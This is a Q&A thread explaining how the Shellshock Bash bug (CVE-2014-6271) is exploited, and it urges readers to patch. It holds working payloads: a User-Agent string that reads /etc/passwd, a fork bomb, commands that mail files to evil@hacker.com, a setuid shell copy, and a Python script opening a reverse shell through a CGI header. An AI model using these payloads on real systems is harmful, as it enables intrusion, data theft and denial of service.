What is a specific example of how the Shellshock Bash bug could be exploited?

Question

I read some articles (article1, article2, article3, article4) about the Shellshock Bash bug (CVE-2014-6271 reported Sep 24, 2014) and have a general idea of what the vulnerability is and how it could be exploited. To better understand the implications of the bug, what would be a simple and specific example of an attack vector / scenario that could exploit the bug?

Answer 1

A very simple example would be a cgi, /var/www/cgi-bin/test.cgi:

#!/bin/bash
echo "Content-type: text/plain"
echo 
echo
echo "Hi"

Then call it with wget to swap out the User Agent string. E.g. this will show the contents of /etc/passwd:

wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://10.248.2.15/cgi-bin/test.cgi

To break it down:

"() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd"

Looks like:

() {
    test
}
echo \"Content-type: text/plain\"
echo
echo
/bin/cat /etc/passwd

The problem as I understand it is that while it's okay to define a function in an environment variable, bash is not supposed to execute the code after it.

The extra "Content-type:" is only for illustration. It prevents the 500 error and shows the contents of the file.

The above example also shows how it's not a problem of programming errors, even normally safe and harmless bash cgi which doesn't even take user input can be exploited.

Answer 2

With access to bash, even from the POV of a web user, the options are endless. For example, here's a fork bomb:

() { :; }; :(){ :|: & };:

Just put that in a user agent string on a browser, go to your web page, and instant DoS on your web server.

Or, somebody could use your server as an attack bot:

() { :; }; ping -s 1000000 <victim IP>

Put that on several other servers and you're talking about real bandwidth.

Other attack vectors:

# theft of data
() { :; }; find ~ -print | mail -s "Your files" evil@hacker.com
() { :; }; cat ~/.secret/passwd | mail -s "This password file" evil@hacker.com

# setuid shell
() { :; }; cp /bin/bash /tmp/bash && chmod 4755 /tmp/bash

There's endless other possibilities: reverse shells, running servers on ports, auto-downloading some rootkit to go from web user to root user. It's a shell! It can do anything. As far as security disasters go, this is even worse than Heartbleed.

The important part is that you patch your system. NOW! If you still have external-facing servers that are still unpatched, what are you doing still reading this?!

Hackers are already doing these things above, and you don't even know it!

Answer 3

It's not just servers; client software can be affected as well. Here is an example of a vulnerable DHCP client. If a machine has such a vulnerable client (and broken bash), any machine on the subnet can send malformed DHCP responses and get root privileges.

Given the widespread use of environment variables to share state between processes in Unix and the amount of software potentially involved, the attack surface is very large. Do not think that your machine is safe because you don't run a web server. The only fix is to get bash patched, consider switching to a less-complex default shell (such as dash), and hope that there aren't a lot more similar vulnerabilities out there.

Answer 4

You don't need to be using bash explicitly for this to be an issue. The real problem is allowing attackers to have a say in the value of environment variables. After the environment is set, it's only a matter of time before some shell gets executed (maybe unknown to you) with an environment it was not prepared for.

Every program (bash, java, tcl, php, ...) has this signature:

int main(int argc, char** argv, char** arge);

Developers are in a habit of checking argc and argv for cleanliness. Most will ignore arge and make no attempt to validate it before spawning subshells (explicitly or implicitly). And in this case bash is not correctly defending itself from bad input. In order to wire an application together, subprocesses get spawned. At the bottom of it, something like this happens:

//We hardcoded the binary, and cleaned the arg, so we assume that
//there can be no malicious input - but the current environment is passed
//in implicitly.
execl("/bin/bash", "bash", "-c", "/opt/initTech/bin/dataScrape", cleanedArg, NULL);

In your own code, there may be no references to bash. But perhaps you launch tcl, and something deep inside the tcl code launches bash for you. It would inherit the environment variables that are currently set.

In the case of the vulnerable version of bash, something like this is happening:

int main(int argc, char** argv, char** arge) { //bash's main function
    ....
    parseEnvironment(arge); //!!!! read function definitions and var defines
    ....
    doArgv(argc, argv);
    ....
}

Where parseEnvironment sees a bunch of environment variable definitions that it doesn't necessarily even recognize. But it will guess that some of these environment variables are function definitions:

INITTECH_HOME=/opt/initTech
HTTP_COOKIE=() { :; }; /usr/bin/eject

Bash has no idea what an HTTP_COOKIE is. But it begins with (), so bash guesses that this is a function definition. It also helpfully allows you to add some immediately executed code after the function definition, because perhaps you need to initialize some side effects with your function definition. The patch removes the capability to add side effects after the function definition.

But the whole idea that an environment variable can lie dormant with attacker supplied function definition in it is still highly unsettling!

recieve='() { echo you meant receive lol; }'

If the attacker can cause this variable name to get a value that it supplied, and also knows that it can wait for a bash subprocess to try to invoke a function by that name, then this would be another attack vector.

This is just the old admonition to validate your inputs. Since shells may get spawned as a surprising implementation detail, never set an environment variable to a value that is not tightly validated. That means that any possible program that reads this environment variable won't do something unexpected with the value; such as execute it as code.

Today it is bash. Tomorrow it's java, sh, tcl, or node. They all take an environment pointer into their main function; and they all have different limitations on what they will safely handle (until they are patched).

Answer 5

Here's an example through a CGI script for a remote attack, untested - Taken from http://pastebin.com/166f8Rjx

Like all exploits it relies on circumstances. Connects to a remote cgi file on the web-server and launches a reverse shell

() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]

#
#CVE-2014-6271 cgi-bin reverse shell
#

import httplib,urllib,sys

if (len(sys.argv)<4):
    print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
    print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
    exit(0)

conn = httplib.HTTPConnection(sys.argv[1])
reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]

headers = {"Content-type": "application/x-www-form-urlencoded",
    "test":reverse_shell }
conn.request("GET",sys.argv[2],headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data